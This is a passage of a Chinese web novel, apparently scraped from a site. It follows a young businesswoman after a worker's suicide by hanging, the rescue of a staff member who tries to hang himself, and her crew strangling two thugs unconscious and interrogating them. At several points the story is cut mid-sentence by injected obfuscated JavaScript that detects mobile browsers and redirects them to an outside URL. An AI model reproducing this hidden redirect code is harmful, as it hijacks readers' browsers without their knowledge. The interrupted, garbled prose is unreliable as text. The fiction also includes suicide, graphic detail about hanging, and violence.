她本不叫苏合——她叫王二丫，是淮安兴孝村老王家的二姑娘。 她生是老王家的人，死是老王家的魂，被老王家里吃干抹净打出生起就是她的命。 她认命！ 拧过刚浣洗好的裤子，王二丫抬起满是胳膊狠狠擦了擦从眼眶里爬到下巴上的泪。 秋天的井水凉的刺骨，不过刚回来这几天，她稚嫩的手上就长满了冻疮。 谁能想象到，这双红肿难堪的手在四日前还是双用来捣花制粉翻书的手呢？ 东家…… 王二丫拼命咬着下唇不让自己哭出来，直到下唇翻出红肉流出血汁，也不肯松开。 殷红的血滴到土地里，好在不是白天，不然就要被鸡啄去了。 王二丫宁可自己的血肉跌进土里，也不要便宜这群畜生。 是了！ 她宁可自己的血肉跌进土里，也不要便宜这群畜生！ 可地上也未必是个好去处，谁能保证，他们不会从地里挖出她的血肉贪婪地吮吸？ 突然—— 心电流转间，王二丫腾地站起。 她抬头看向天上的月亮。 天上月亮亮堂堂，映彻山川明晃晃。 在月光晕晃晃的照耀下，恍惚间，王二丫想起自己第一次入住林家的那天晚上。 那天夜里，她和东家谁都睡不着，东家在床上翻来覆去一下又一下，最后佯装不经意地同她轻声说道：“其实，我的亲人都死掉了。如果太想他们的话，就抬头看看星星吧。” 她不明白。 东家说：人死后，会变成一颗一颗的星星，就挂在月亮边儿上，看着地上亲人，这时候还住地上的亲人也会抬头看他们，这样两边的人相互遥遥看上一眼，也算是团圆。 她便问：那星星们不会孤单吗？ 东家答：不会的，星星在上头也是有家人的。 “那没有家人的星星呢？会很孤独吗？” “不会的，还有月亮陪着它们呢。” 月亮……月亮…… 苏合想：她要到月亮上去。她要到月亮上捣胭脂去。到时候她的阿妹们就在边儿上陪着她，她从天上往下望，正好能看见东家抬头往天上瞧。到时候，她还能在天上帮东家同她亲人们托托话，就说东家很想他们。 想到这儿，她忽地笑了，放下手中浸泡在冰冷井水里的衣裳，起身，含着笑，抬头一步步朝月亮的方向走去。 “胭脂含脸笑，苏合裛衣香……” 她想好了。 她要、她要到月亮上去。 她要在这天上地下都团圆。 她要至死都是那个在香玉坊里自由自在的苏合。 这样，她才算没白来过。 想着，苏合一步步朝着月亮的方向走去。 然后…… 兴孝村又吊死了人。 死的人是村东头老王家的二姑娘，被发现的时候她就挂在院门前，被秋风吹得飘飘荡荡。 杀人的是她的衣裳。 村里人家穿的是粗布麻衣，对于经常干粗活的人来说很是结实，能保证一个小姑娘掉一晚上。 白栖枝知道这事儿的时候拼了命地往村东头跑，到地方看见的就只是一具赤条条的尸体。 赤条条地来，赤条条地走。 什么都没带来，什么都没留下。 白栖枝想出钱为她下葬，却依稀听见死人的家里自有安排： 尸体怎么就没有价？只是这死相…… 这样吧，我给你找户好人家，人家未必会嫌弃这姑娘死得赤条条，但价钱肯定…… 成！ 作为东家，白栖枝甚至带不走人家的尸体。 因为工契签的都是活人契，哪里关乎死人的事儿？ 死的是谁家的人，尸体就该收到谁家去——这是自古以来就天经地义的事。 白栖枝什么都没有说，在紫玉的注视下如一片枯叶般飘飘荡荡地往回走。 作为从小在兴孝村长大的紫玉，面对这种事儿自然是见怪不怪。 虽说淮安城内兴旺发达，可到底也只是个借了商道便宜的后起之秀，比起那些自古以来就繁荣昌盛的地方，到底还是乡难易，尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200096|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是这周边村镇，还保持着旧习陋俗。 死人？ 那是再平常不过的事儿。 但这些对白栖枝来说还是太过痛彻心腑。 她是长平人，长平，那可是天子脚下，怎敢出半分纰漏？再加上她自小被家人如珍似宝地捧在手里，以至于她平生见过最苦的苦，也不过是街上叫花子讨饭的苦。 又何曾见过这山村中无奈绝望的苦？ 看着白栖枝飘忽得宛若踩在棉花上的身影，紫玉没来由地想到了一个跟她名字有关的晦气词—— 紫玉生烟。 白栖枝当天下午就走了。 自打白天回去后，她就什么也没说，什么也不吃。 “何必呢？”蔚元柳如是问她。 何必呢？ 只是一辈子里擦肩而过的陌生人，何必如此费心又费神？ 但真的只是如此吗？ 不是的。 自打见到王二丫的第一面，白栖枝就明白，她们是同一种人。 她的身上有着她的影子，她的骨髓里流淌着她的性格。 她们同病相怜，她们是一个人。 如今一人如此，那另一个便也在劫难逃。 这是别人不清楚唯有白栖枝清楚的事。 她不止一次觉得这世道烂透了，直到。 “白老板……” 临行前，偷偷拦住她们的是一对夫妇。 白栖枝警惕地看着他们，可他们却只是尴尬又卑微地搓手笑着，一边笑一边朝她走近。 “白老板，听说我家小燕在您手底下做工……”两人不顾白栖枝眉眼间的厌烦，上前从袖子里掏出两个热乎乎的东西塞到白栖枝手中，讨好地笑着乞求道，“白老板，我家小燕手笨脚笨，在您手底下肯定做了不少错事……这两个鸭蛋是我们自己家的鹅下得，您别嫌弃……小燕她只是笨，她不是个坏孩子，假如她做错了什么事，还请您少打骂她，我和孩儿她娘在这儿谢过您了，祝白老板以后生意红火、生意红火，嘿嘿……” 白栖枝直到回去也没想通一件事。 又或者说是没想通好几件事。 回去之后，紫玉将事情传给了春花，春花担忧之下报告给沈忘尘，沈忘尘自然不会瞒着林听澜。 就这样一层层地上报，几乎所有人都觉得白栖枝遭不住了。 就连沈忘尘和林听澜都觉得白栖枝遭不住了，但白栖枝还是一如既往地往香玉坊里跑，安排着店内诸多事宜。 直到某一日，十里长街，有人家吹着喜乐撒着纸钱，红白喜事相结合，一看就知道原是一桩冥婚。新郎是哪家的少爷，新娘却不是谁家的小姐，凑近一看才发现，那新娘姓王，没有名字。 ——正是死去的王二丫。 那宴席白栖枝也去了，她身后跟着香玉坊的众人。 新郎一家见来者是背靠淮安林家的小姐，自是喜不自胜，欢欢喜喜地将众人迎进去。 一进门儿，迎面而来的就是两个牌位与一众冥器。 “东家，您一声令下，我们就开始掀桌。左右他们也惹不起林家，不敢上报衙门的。”莫当时撸起袖子如是说。 白栖枝摆了摆手：“死者为大。” 众人你看着我，我看着你，到底还是没有掀桌。 不过半晌，白栖枝留下份子钱后又走了，回去的路上她一句话都没有说，就连之后的几日也是把自己闷在屋子里不说话。 沈忘尘和林听澜生怕她一个想不开就随那个什么伙计去了。 他们小心翼翼地找来白栖枝，又摆了一大桌子菜小心翼翼地想同她谈谈心说说话。 可面对他们的关心，白栖枝只是笑。 可笑着笑着，一口暗红色的鲜血就从她嘴里喷出来，溅在地上，洇湿了大片绯色氍毹。 血色斑驳。 …… 86. 云青 她不会死。 她不甘心。 白栖枝醒来的第一句话就是：“我不甘心！” 彼时沈忘尘和林听澜正守在她的边儿上，两声生怕她吐竟这口血后就再也醒不过来了。 可是她说她不甘心。 她说：没关系，熬过这一遭，我就什么也不怕了。 接下来的日子，白栖枝还是白栖枝，还是一如既往地做着一个东家分内该做的事，只是越发地狠命起来。 从里到外，香玉坊几乎经历了一场大变革。 白栖枝先从大处入手，与众人商讨，将整个坊内的制度翻新一番。又着手于坊内每一微末处，甚至为了不再发生此前那种被肆意仿制伪劣的状况，就连胭脂水粉盒的外包装都是她一一在草稿上着手设计绘制。 因害怕被人做手脚，便又用香玉坊这几月的收入盘下了一间小作坊，专门为香玉坊制作特质的陶瓷粉盒。白栖枝偶尔也会设计些香盒、茶盒、首饰盒等受女子喜爱的小玩意儿放手让伙计们去做，不求大赚，只消赚些小钱能将成本赚回来便好。 谁承想她设计的那些小玩意儿却因花纹精巧、造价不高而广泛流于市场，又因作坊不大，生产量不高而被人误认为是什么珍品特制，反倒在集市上越发炙手可热，价格也越发水涨船高。 这一点亦在白栖枝意料之外，当春花将此事汇报给她的时候，她第一时间不是欣喜，而是脑内一片空白。 手中还捧着书卷，她默然良久，最后也只是无关痛痒地垂眸答道：“既然如此，那便放手去做吧。” 得了东家如此答复，小作坊便成了大店铺，甚至得了东家亲手提名“云青阁”三个大字——便是“云在青天水在瓶[1]”。 再往后，便是有人前来想要预定些笔盒、印泥盒、花瓶摆件之类的小玩意儿作为贽礼送人。 一开始，白栖枝还有尚余力手绘图纸，到后头她也余力不足，便又放手让人去找画师设计。 淮安城内谁不知道白老板背后靠着的是林老板？ 多少人挤破了头都没法子跟林家搭上关系，如今生出这等好事，画师们更是一个个削尖了脑袋都想往里凑，甚至还在大街上上演起了三寸不烂之舌和自由搏击之术，搞得人们在冬雪来前看了好一出热闹好戏。 到最后自由搏击的那一群里面也没几个入选阁内的。 毕竟这“云青阁”阁主昔日也算是当过书画院翰林之女，其父好歹也当过待诏翰林，这点子审美阁主还是有的，只是众人不识她真身，欲以鱼目混珠、滥竽充数罢了。 自此，整个香玉坊从里到外——从制粉材料到陶瓷粉盒，其中皆留有白栖枝的手笔。 白栖枝还是一如既往地喜爱收女工，不只是淮安城内，就连淮安城外，只要有意来投奔至她名下的女子她都照单接受。 她说：“巾帼何故藏罗裙？” 她说：“要用刀锋锉刀锋，要用石头去磨石头。” 她说：“此后天高路远，快走，不要回头。” 也不知是她摸准了这世道，还是这世道选择了她，她手下那一个个产业竟真在她这三句话中踉踉跄跄、歪歪斜斜地撑了起来，甚至不仅撑了起来，还做得出彩，做给了全淮安的人看。她们让众人看看，就算自家产业的受众不重在男子也没所谓，总会有人 谁也没想到，林家名不见经传的一个表小姐，在将藏在罗裙之下的纤纤玉手伸出后，竟能拿捏住了一整个胭脂产业的命脉。 更难想象的是，在她手下做工的竟多为女子。 她们将藏在罗袖下的手伸出，用以握住算盘、绘制图纸、烧纸瓷器，竟也不比那些男儿差。 终于，在今年初冬第一场雪下落之时，香玉坊与其名下诸多店铺的名头在淮安城内打得响亮。 林听澜和沈忘尘知道白栖枝生性聪慧，可他们却从不知她竟能聪慧如此。 他们借由庆功宴的名头想探探白栖枝的状况。 可白栖枝到底也还是没有办起这场庆功宴。 不够。 不够！ 厢房内是散落了一地的图纸与手札。 白栖枝看着眼前如碎雪般飘飘扬扬散落了一地的纸页，从肺腑里压抑着、缓缓呼出一口滚烫的灼气。 这是她将自己困在房间里的第一个月，从上次自兴孝村回来后，她便一直郁郁寡欢。 谁也不知道她究竟想干什么，但从她手中产业一点点扩大的规模来看，似乎也能看出她想干什么。 白栖枝比任何人都清楚自己要做什么。 人，活于世，无非就是钱与势。 她想一手抓钱，她想一手抓势； 她想一手要风，她想一手要雨。 可眼下的状况，她连自己都保不住，她又能保得住手下的谁？ 她不想再如过去那般，是个人都能将她痛打落水狗，她想堂堂正正的活下去，风风光光地活下去。 ——所以不够，仅凭这点可还远远不够。 她要钱、她要势；她要风，她要雨；她要先奋力地活下去，而后再去平家中冤孽债。 白栖枝以为，只要她肯拼命，一切就都会好起来。 直到莫伯纵横着老泪匍匐跪在她面前求求她救救自己儿子时，白栖枝才明白，这世上哪有什么一帆风顺的事。 只不过是别人暂时打算让她喘口气苟活罢了。 坏消息：她搞不定他们。 好消息：他们也搞不定她。 听着莫伯的哭诉，白栖枝大概明白了事情大概：原是莫当时去花楼收货时中了美人局被讹了好大一笔钱，他自己偿还不起，又不能拿了坊里的钱败坏香玉坊的名声，便被人趁机连哄带骗地去赌钱。 一开始还只是用小钱去赌，后来赢得次数多了，便换做大钱。几场赌局下来，莫当时连输带赢勉强将钱还了个大半。 倘若他就此收手，剩下的钱他再同众人借钱凑上一凑，没准儿这事儿就过去了。 可这是专门为他下的套啊，赌的就是他尝过甜头后的不甘心，赢了自然想要更多，输了自然就要“翻本”。 先让人输一些钱，让他们心急。然后再让他们赢一点，以为自己运气好，从而继续参与，等到筹码赌注加大后再一举让他们输个大的，赔得连裆裤都不剩。 好在莫当时收手快，也还算没赔进去多少。 但那些钱对于他一个售货郎君来说，还是难以偿还。 于是他又同花楼里的那些姑娘们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203594|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借钱，东一窟窿西一窟窿的补也没见堵上多少，反倒叫楼里的老鸨找人欺负了一通，又拂了他的生意，导致莫当时业绩一落千丈，就更没有钱可赚。 这事儿他一直瞒着众人，直到昨天晚上店铺打烊后，一堆人拎着麻袋给他套住暴打了一顿，众人这才知道这事儿，可她们到底只是店内伙计，东拼西凑也凑不上那个窟窿。 莫伯这是实在没办法了，才拉下自己这一张老脸跪到白栖枝面前为自己那个不孝子求情。 都说惯子如杀子，白栖枝觉得莫当时能犯下如此大错也不奇怪，可他到底心不坏，不是那种不值得救的人。 更何况，这事儿未必就是冲着他去的，究其原因，恐怕她也难逃其咎。 白栖枝思量再三，最终还是抬手去扶莫伯，淡声道：“莫伯您先起来，事情我大概明白，别急，这事不是冲着他去的，他不会有事。” 谁不知道除却淮安贵女们，花楼的姑娘们也是城内胭脂铺子一大销售处。 贵女们处于深闺不必日日擦脂抹粉，但身在花楼里的姑娘们可不一样，若非要将两者做比，恐怕还是那些姑娘们更重要些。 白栖枝知道，这是有人要断她手脚。 她不想当一个不幸之人，平白为大家带来祸端。 看着莫伯老泪纵横的模样，白栖枝也不急，见莫伯起身，她只是缓缓道：“莫伯，他现在是在何处？” 莫伯愤愤道：“那个不孝子就在家中，东家，我这就把他给你捆来！” “倒也不必。”白栖枝知道莫伯心疼他这个老来子，在缓缓深呼一口气后，她道，“就让我去看看他吧。” 到底是年关将近，天倏地一下冷了下来。 倒也没这么突然，只是自那次吐血过后，白栖枝一直身体欠佳，待将香玉坊等一众作坊安排好后，她整日不是在房中养病就是在房中绘图纸、读书、记笔录，鲜有出门。 沈、林两人担心她受不住，一直将屋里的地龙烧得暖暖的，生怕他们一个不留神，这人就会被风雪催折去。 养了这么久，身体还是不见大好，迎面一阵风都能将白栖枝呛得呛咳起来。 “东家……”李素染几人都守在门外，求助似得看向白栖枝。 如今香玉坊一切井井有条，她们几个就算少在一些时日也不会出事，于是便纷纷来守着莫当时，生怕他一个想不开就要自挂东南枝。 此时一见东家前来，她们一个个的就跟看见了救命稻草一般眼睛晶晶发亮。 毕竟整个香玉坊，别人她们信不着，足智多谋、冰雪聪明的东家她们还信不过么？ 只是…… 看着面前人这幅面色苍白、眼尾泛红的病弱模样，她们又开始担心这一遭会不会再把东家击上一遭。 由是，她们个个都小心翼翼地看着东家，怀里跟揣了个小兔子似得上蹿下跳，毫不安生。 “砸门。” …… [1]出自李翱《赠药山高僧惟俨（其一）》：练得身形似鹤形，千株松下两函经。我来问道无余说，云在青天水在瓶。选得幽居惬野情，终年无送亦无迎。赠药山高僧惟俨有时直上孤峰顶，月下披云啸一声。这里引用的意思是“万物各有各的去处”。 87. 喝火 众人看向白栖枝。 只见白栖枝站在门前，用手轻轻抚着门上破败的痕迹，虚握成拳抵在嘴边轻咳几声。 “砸门。” “砰！” 门被撞开，阴暗的房屋里，是正准备自缢的莫当时。 门开的一刹那，他也没想到众人会用这么粗暴的手段破门而入。 雪光从屋外破入，房间骤然被照亮，众人乱作一团，赶紧冲上前去将莫当时团团围住。 “你你你！你赶紧给我下来！这点事儿算啥啊！人生在世谁还没个倒霉的时候？你这是干啥啊！大不了我们一起把钱给你凑出来！你说你这孩子你寻思干啥啊！你还让你爹活不活了？你还让莫伯活不活了！你、你别动啊，我们这就给你弄下来，你别动！你别动！！！” 李素染急得变成了连珠炮，一张嘴就要磨出火星子了，赶紧招呼着众人将莫当时扛下来。 欲自挂东南枝的这位：“呜呜呜呜！你们都别管我！我这是自作自受，早知道、早知道我就不该喝那杯酒！呜呜呜呜，我早就知道她们想要弄我，我还是陷进去了……呜呜呜，我真不是个东西！我给咱们香玉坊丢脸了！爹、掌柜的，我对不起你们……” “哎呀哎呀哎呀！你、你这时候说这话干啥！你赶紧下来，你能活着不比什么都强？紫玉，赶紧、赶紧搭把手把人扛下来！你这孩子，你说你这你说你说你这！” 眼看着李素染和紫玉慌得手忙脚乱，白栖枝却仍饶有兴致地坐在方桌前，兀自为自己倒了杯茶水。 冬天天冷，水几乎冻成了冰坨坨，抿进嘴里，喉头都冻得发紧。 白栖枝不紧不慢地抿下着一口冰水，徐徐道：“让他吊。” “哦。”闻言李素染和紫玉立马后退一步，抬头看向莫当时，又低头为他默哀。 莫当时：啥？ 眼见一圈人都围着自己低头默哀，莫当时觉得现在气氛都到这儿了，要不…… 他真吊一吊？ 想着，莫当时尝试着将下巴垫在麻绳上。 就当他颤抖着闭上眼想要把戏做足，身下又传来白栖枝凉凉的声音： “吊死的人死后会失禁，还会面部肿胀，皮肤发紫，舌头外伸。反正你想好，如果你能接受，就吊吧。你死后，我会给莫伯一笔钱让他终老，也会给你打一口好棺材。但棺材嘛，毕竟是木头，没准过几年就得腐坏，到时候就会有蛇鼠虫蚁来啃食你的尸体，将你的尸身咬得破破烂烂……反正你想好。” 莫当时：啥？！这事儿他怎么不知道？ 娘嘞！ 话本子诓他！！！ 作为“淮安第一美男子”，莫当时最重视的就是自己这一张俊脸，可以说是宁要一张皮不要五斗米。如今听白栖枝这么一说，他脑海里登时就想到了自己死后的丑态。光是什么面部肿胀紫青、伸舌头他就已经受不住了。 关键是还要尿裤子！ 谁家大好男人这么大岁数还要尿裤子！！ 不行！ 他长得这么俊俏，他还不能死！至少不能丑不拉几地死！！！ 想着，莫当时怂怂地将脖子缩回来，顺便解开房梁上那个松松垮垮的绳结，下凳，将凳子拎到方桌前，甚至一丝不苟地拍了拍凳子上的灰，坐到白栖枝面前，趴在桌子上做五体投地状，委屈道： “东家，请给个明示！” 杯中茶水被饮尽。 白栖枝并不回答，只是从怀中抽出帕子，将茶杯上的水渍擦干，倒扣回桌面，也不抬眼，同其他人问道：“有酒么？” “有有有！”莫伯点头如小鸡啄米。 虽然他也不懂东家究竟想做什么，但东家的本事他一万个相信，东家让他做什么他肯定就要做什么！ 况且自己家这个不孝子的命就只有东家能勉强一救了，只要东家开口，就算让他这个老东西一命抵一命也成啊！ 不多时，酒液缓缓倾倒在小方桌上的陶碗里。 酒浆摇晃迸射，几欲溅到白栖枝身上。 白栖枝起身，从一旁拿过点蜡用的火折子，一吹，一点，陶碗里燃起雄性烈火。 她将碗微微向前一推，眼底映着熊熊火光：“冬天太冷，暖暖身子。” 喝火？！ 众人讶异地看向白栖枝，尤其是莫莫当时，眼珠子都要瞪出来了。 要知道这可是火啊！火！！ 他喝下去的话还能有活路吗？这跟要他吊死有什么区别？！ 不。 还是有区别的，吊死至少不会感受到火在肠子里燃烧的痛感…… 那可是硬烧啊！ 燃尽他的五脏六腑，他还能有什么活路？！ 莫当时茫然地看向白栖枝，后者却只是盯着碗内熊熊燃烧的火。 良久，她开口，一双略显发白的唇开开合合，说出的话却比屋外的风雪还令人绝望：“再不喝，酒就要被烧干了……” 未等莫当时反应过来，莫伯登时就淌起了泪花。 这街上谁不知道，莫伯这辈子老年得子，妻子又因年龄大生产而难产而死，膝下就只有这么个宝贝儿子。 虽然这次实在是他这儿子是做错了事，但东家何以至此啊？何以要他儿子的性命啊！ 莫伯颤抖着嘴唇，一双浑浊的老眼紧紧盯着那碗熊熊燃烧的烈火，苍老的声音从三字眼里支离破碎地挤出。 他说：“东家，莫当时他是个混球，坏了店里的规矩，您可以打他罚他，但何必如此对他啊！这火，他喝下去，还能有活路吗？东家，求您开恩啊——” 悠长的一声后，莫伯“噗通”一声跪倒在白栖枝面前，老泪纵横。 他颤颤抬起手，在众人还未反应过来之前，先往自己脸上来了个响的。 “啪！” 响亮的一声叫在场所有人都绷紧了身子。 三秒后—— “爹！！！”撕心裂肺地一声大吼后，莫当时几乎要扑到莫伯身边去。 白栖枝眼疾手快地拉住他的手腕。 但男人的力气还是大了她不少，白栖枝一个没稳住，从凳子上跌落下去。 “东家！”众人高声惊呼，纷纷手忙脚乱地要去扶白栖枝。 莫当时就夹在莫伯与白栖枝之间，不知到底该往哪头奔才好。 “喝掉。” 没等众人去扶，一只莹白的手像是从坟墓里破棺而出，用力按在桌子上，可见青白筋骨。 白栖枝从桌下缓缓抬起头，直起身子，仰头看向莫当时。 莫当时看着她，又看了看她身前那碗烧去了大半的酒，神色蓦地一凛。 “莫当时！”众人一时间惊呼出声。 酒液倾洒间濡湿了衣襟，莫当时痛饮杯中酒。 酒水汤汤，烈火熊熊。 莫伯深深将头埋进臂弯里不敢看，众人也纷纷抬袖挡眼不敢看这惨烈场景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莫当时没明白，还是旁边的紫玉心有灵犀地解释道：“东家骂你脑子是不是有病。” 莫当时：啊？ 他实在是不明白：“还请东家给个明示！” 现在，只要能把这五百两白银的窟窿堵上，东家踢他一脚他都能说好爽，东家扇他一巴掌他都能给东家舔手——只要东家别破坏他这张沉鱼落雁、闭月羞花、前无古人、后无来者、前数五百年、后数五百年都找不到一个能与之相匹敌的俊脸就行。 “我原以为你欠的是什么高价。五百两。你给坊里打个欠条从李阿姊手中借五百两都成，实在不行你打个欠条从我手里借都成。瞧你这寻死觅活的模样，我还以为你欠了天大的欠付。这样，你现在找纸笔去，给我打个欠条，这五百两我给你出了。” 此刻，原本又瘦又小又可爱得团乎乎的白栖枝在众人眼里瞬间变成了财大气粗的富贵人家小姐。 众人双手合十，很是崇拜。 “不过——” 可还未等她们崇拜上五秒，就听到白栖枝起唇话锋一转，泠然道： “这钱我现在拿不出。” …… 88. 羞辱 莫当时：“……” 快！ 吊死他！ 就现在！！！ 白栖枝见他一副又要自挂东南枝的模样，垂眸看着桌上空碗，不急不缓道：“不是拿不出，是现在不能拿。” 忽地，她抬眸，黑白分明的星眸如同黑曜石般明亮，撞得莫当时心口一顿。 他只听白栖枝突然唤他：“莫当时——” “你敢不敢再挨一次打？” * 冬风刺骨，挦绵扯絮。 莫当时呵气搓手地在街上晃荡着时不时奋力搓搓臂膀，趁着这股劲儿用余光瞟向左右各处。 东家说的没错，打他一出门就有人跟上来了。 感受到背后视线灼热，莫当时脸上佯装不动声色，脚下却赶紧加快脚步，与街上众人纷纷擦肩而过，在经过第三个胡同儿时，猛地一扎头，拼了命地直往街角的小巷子里奔。 后面的脚步声立即紧跟着加快。 脚步杂乱有数，听起来似乎只有两人。 大约了解了情形，莫当时干脆飞奔，一头扎进巷子最深处里。 身后传来一声暴怒的大喝：“小兔崽子，别跑！”紧跟着，急促的脚步声在狭窄的巷子里回荡。 仓促的呼吸声混着冬风的呜咽，在巷子里慌不择路地左右乱撞着。 莫当时知道身后两人还在穷追不舍。他闭着眼突然一个转身闪入左侧的一条死胡同，将自己藏在角落里，蜷缩着抱头，累得张嘴大口喘息。 “哈——哈——哈——” 粗气声迭着脚步声渐进渐缓。 莫当时在心里喊了一万遍的“东家救我”，喉咙里却没发出一丝声音。 “还敢跑？啊？！跑啊！跑啊！我看你怎么跑！” 男人手中的铁棍在飞雪中反射出寒光。 莫当时被戳着肩胛骨不敢抬头看，听着两人威胁的话语只将自己蜷缩得更紧，心里更是拼命地在喊“东家救我”。 他这副窝囊样反倒惹火了两人。 为首的男人“呵”地一声巨响，将一口黄痰唾在莫当时身上。 “没骨头的烂东西，成天一副不男不女的给谁看？老子今天就要好好教训教训你，让；你知道什么才是真正的爷们！” 男人说着，猛地举起铁棍。 在眼皮的缝隙处，莫当时甚至能感受到他的阴影狠狠压在他脸上。 东家、东家、东家…… “砰！” 铁棍重重落在莫当时的脊骨上，莫当时哪里能受得住这一击，登时呕出一口血来。 “东家！” 莫当时撕心裂肺地一声吼，未等那两个男人反应过来，他们的眼前便是漆黑一片。 两人抓着挡在脸前的物件儿—— 是麻袋。 “妈的，居然敢算计老子，我看你们真是活得不……呃！” 咽喉被死死绞住。 两人出声不得便开始猛烈挣扎。 可不知怎么，他越是挣扎扎脖颈上的绳索便越是收缩得更紧。 “给我用力绞！” 一个清朗的女声传来，两人不知怎的心里一慌，赶紧用被勒得紫青的手去扒脖颈绳索。 脖子上的挠痕一道又一道，甚至出了血痕。 麻袋里的氧气越来越少，两人双目zhong胀、决眦欲裂，求生的本能让他们恨不能将自己的喉咙挠破、将自己的眼睛抠出，好让氧气顺着血窟窿灌入。 可一切于事无补。 约莫十秒钟后，两人双目混黑，身子一软，晕倒在染了血的雪路上。 “东家，他、他俩不会被咱们勒死了吧？” 李素染也是第一次做这种事，见两人昏死在雪地里，吓得她赶紧松手，后退两步，踉跄得差点一pi股跌进雪里。 麻绳的一端落进雪里。 白栖枝并未先答她。 “来人。”看着还伏在雪地里吐血的莫当时，白栖枝冷冷道，“带莫当时去看大夫，就说是香玉坊白老板的贵客，钱不是问题，要用最好的药材给我治，万不可留下任何杂病。” “是，东家。” 最担心的事已经安排好，白栖枝这才有余兴看向歪倒在雪地里的两人。 她缓缓上前，用足尖踢了踢两人，又蹲下身子去探两人的鼻息。 “死不了，这点时间，顶多是让他们昏迷一段时间而已。来人——” 白栖枝起身，看着松了绳的李素染，又看了看握着绳子的其他人，缓缓后退一步，抬手勾唇深意一笑： “把他们拖下去。” 两人再次醒来，面前昏黑一片。 他们以为是自己瞎了，可当全身感觉渐渐回笼，他们才知道自己只是被蒙住了眼。 白栖枝好整以暇地坐在他们面前。 天太冷，她披着纯白狐裘，手中捧着一个小小的鎏金手炉，正叠腿坐在椅子上上下打量着他们。 手炉四处弥漫着袅袅白烟，白栖枝一张小脸就隐没在这层层白雾中，看不清究竟是什么神情，只能从眼尾眉梢间隐隐窥视到她在笑。 心情大好的笑。 白栖枝递给春花一个眼神，春花当即了然，开口大声喝道：“既然醒了就别装死，老实交代，是谁派你们来的！” 其中一人不屑道：“哼，还能是谁？自然是我们坊主派我们来的。莫当时这hun蛋欠我们坊主的钱到现在还没还，欠债还钱天经地义，他这小子不想着怎么还钱，居然还敢优哉游哉地在大街上晃悠，那我们哥两个就只能好心帮他‘好好’回忆回忆自己现在该干什么。” “呸！少装！你们根本不是赌坊的人！”春花收回看向白栖枝的目光，大怒道，“再不老实交代，小心姑奶奶把你们kua下的第三条腿剁碎了喂狗吃！” 此话一出，整个柴房中寂静异常。 众人谁都没想到春花居然这么敢说，纷纷将视线从那两个打手身上挪到春花脸上，一个个眼睛瞪得跟鸡蛋一样，仿佛刚才那句话是自己听岔了。 白栖枝自然也没想到春花会这么威胁人。 “咳、咳咳。” 她撇过头去轻咳两声，那两个打手听闻，蓦地嗤笑道：“听声音，这位就是香玉坊的小白老板吧？怎么？不好好躲在林府里养病，怎么还有功夫去管别人的闲事儿？您不出来，我们还以为您被这淮安的风雪给压死了呢！” “你再说！” “啪！”一个耳光狠狠抽在那人脸上，“娘的，疼死姑奶奶我了！” 那人嘴角被打破，流着血，却也只是邪笑着舔了舔嘴角溢出的鲜血，轻蔑道：“小姑娘，你主子都还没发话，你一条狗在这里急什么？再说了，谁不知道这几个月来你家老板一直称病闭门不出？谁知道她在林府里做什么勾当！你应该庆幸你家大爷不喜欢女人，不然，就凭你家老板那小身板，估计不等她病好就得被你家大爷玩儿死呢！哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你说的没错。”白栖枝将手中的鎏金手炉递给春花，又拍了拍她的手让她暂且忍耐。 春花垂着泪点不再言语。 白栖枝这方将视线又移回那方才还破口大骂的人身上，墨澈双眼里温柔的笑意愈发浓重： “你说的没错，我们三个就是这样。毕竟三人成行嘛，多一个拥挤、少一个寂寞，三个人就刚刚好。今天我玩玩你身子，明天你玩玩我身子，不至于太过火，也不至于会在某一日冷落了谁。我们三个就是这种关系，你大可以满淮安地去宣扬，我不阻止你，就算你闹得满城风雨我不在乎。不过，在宣扬这事儿前你得好好想想：想你究竟有多少个脑袋敢往林家大爷身上泼脏水，想你家中老小是否还想留一条活路。你且好、好、地、想……” 口出惊雷。 知晓事情的知道白栖枝是在胡说乱说，可不知晓这些事儿的，光看白栖枝的神情语气，难免就要把她说的那些事儿当真了。 不愧是大户人家啊，玩的就是花哨！ 三个人在床上，这得怎么做嘛！ 更何况东家还这么小，一看就是个还没有熟透的果儿，就这大爷和那位也下得去手？ 呵——呸！ 忒不是人！！！ 面前人瞠目结舌不知该说什么好，白栖枝又微微侧过身去看那位一直沉默寡言的打手，唇角微微扬起的一抹笑，半是威胁半是温和地轻声道： “这位兄台——” “何故不说话？” …… 89. 死士 一直沉默的男人闻言，只是将头一撇，一副不愿搭理的阴郁模样。 还是一直在挑衅男人受不了沉默心直口快道：“嗐！他啊，他是个哑巴，不会说话的。” 